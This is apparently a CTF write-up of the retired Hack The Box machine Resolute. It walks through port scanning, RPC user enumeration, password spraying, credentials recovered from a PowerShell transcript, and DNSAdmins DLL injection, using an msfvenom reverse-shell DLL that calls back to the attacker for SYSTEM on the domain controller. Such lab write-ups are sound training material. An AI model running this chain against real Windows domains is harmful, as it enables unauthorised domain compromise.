This post documents the complete walkthrough of Resolute, a retired vulnerable VM created by egre55, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Resolute is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.5 ( at 2019-12-09 11:13:14 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 61463/udp on
Discovered open port 3269/tcp on
Discovered open port 88/tcp on
Discovered open port 49677/tcp on
Discovered open port 49667/tcp on
Discovered open port 9389/tcp on
Discovered open port 636/tcp on
Discovered open port 52115/udp on
Discovered open port 445/tcp on
Discovered open port 49664/tcp on
Discovered open port 53/tcp on
Discovered open port 139/tcp on
Discovered open port 593/tcp on
Discovered open port 49676/tcp on
Discovered open port 55256/udp on
Discovered open port 54973/udp on
Discovered open port 5985/tcp on
Discovered open port 49665/tcp on
Discovered open port 464/tcp on
Discovered open port 47001/tcp on
Discovered open port 49666/tcp on
Discovered open port 3268/tcp on
Discovered open port 49688/tcp on
Discovered open port 56921/udp on

Whoa, it’s a Windows machine alright. Just look at the number of open ports. Let’s do one better with nmap scanning the discovered ports below 47001 to establish their services.

# nmap -n -v -Pn -p53,88,139,445,464,593,636,3268,3269,5985,9389 -A --reason -oN nmap.txt
53/tcp   open  domain?      syn-ack ttl 127
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2019-12-09 11:38:42Z)
139/tcp  open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp  open  kpasswd5?    syn-ack ttl 127
593/tcp  open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped   syn-ack ttl 127
3268/tcp open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped   syn-ack ttl 127
5985/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf       syn-ack ttl 127 .NET Message Framing
Host script results:
|_clock-skew: mean: 2h47m02s, deviation: 4h37m10s, median: 7m01s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2019-12-09T03:39:14-08:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2019-12-09T11:39:12
|_  start_date: 2019-12-09T11:07:16

Let’s see what we can glean from rpcclient with enumdomusers.

That’s a lot of users. We can use some bash-fu to query all users using rpcclient as the main driver.

for user in $(cat users.txt); do rpcclient -U% -c "queryuser $user" 2>/dev/null && echo; done | tee userinfo.txt

Something is amiss. Looks like the administrator has forgotten to remove the default password in the description. :wink:

With that in mind, let’s write a simple script to test which user hasn’t changed the password yet.


function die() {
  killall perl 2>/dev/null

if smbclient -I $HOST -L $NAME -U "$DOMAIN/$USER%$PASS" &>/dev/null; then
  echo "[*] User found: $USER"
  echo "[*] Password found: $PASS"

So melanie is the one!

Low-Privilege Shell

Armed with melanie’s password, let’s see if she can log in to the remote machine via WinRM. Enter Evil-WinRM.


The file user.txt is at melanie’s desktop.

Privilege Escalation

During enumeration of melanie’s account, I notice that the presence of PowerShell transcript at C:\PSTranscripts.

PowerShell transcript

What is PowerShell transcript? A PowerShell transcript is a simple text file that contains a history of all commands and their output. It’s almost like Get-History which only displays the input commands; inputs and outputs of all sessions are recorded in the transcript.

Guess who turned it on?

And what have we here?

ryan’s password Serv3r4Admin4cc123!.

PowerShell Remoting

Armed with ryan’s password, we can PS remote into his account like so.

And from there spawn a basic command prompt, just to keep things in check.

DNSAdmin to DC compromise

During enumeration of ryan’s account, I notice that ryan is in the DNSAdmins group.

According to this article, in addition to implementing their own DNS server, Microsoft also implemented their own management protocol for it, to allow for easy management and integration with Active Directory domains. As such, it allows us, under some circumstances, to run code as SYSTEM on domain controllers, without being a domain admin.

Long story short, it basically involves injecting a DLL of our choice into dns.exe, the executable behind the DNS Service. It all stems from the fact that dns.exe doesn’t validate the path in ServerLevelPluginDll. Read the article for all the gory details!

Let’s get to work. We need a few things:

  1. Samba hosting a file share accessible by Everyone
  2. msfvenom to generate a reverse shell payload in DLL

File share accessible by Everyone

Here’s the smb.conf I use. Take note the directory permissions has to be identical to the one in the configuration file, e.g. 777.

workgroup = WORKGROUP
server string = Samba Server %v
netbios name = kali
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

   path = /root/Downloads/resolute/tmp
   writable = yes
   guest ok = yes
   guest only = yes
   read only = yes
   create mode = 0777
   directory mode = 0777
   force user = nobody

Reverse shell payload generated by msfvenom

The reverse shell payload is located at /root/Downloads/resolute/tmp, i.e. the file share.

# msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4321 -f dll -o evil.dll

I got SYSTEM shell yo!

I didn’t notice it before but ryan is also in Remote Management Users group. As such, we can also use Evil-WinRM to get a shell.

With that, we can launch the attack with dnscmd.exe, which is only available in PowerShell for some reason.

Launch the attack like so.

Notice the UNC path points to my file share. We just need to restart the DNS service and a reverse shell with SYSTEM privilege appears in my nc listener.


Getting root.txt

Getting root.txt with a SYSTEM is a piece of cake.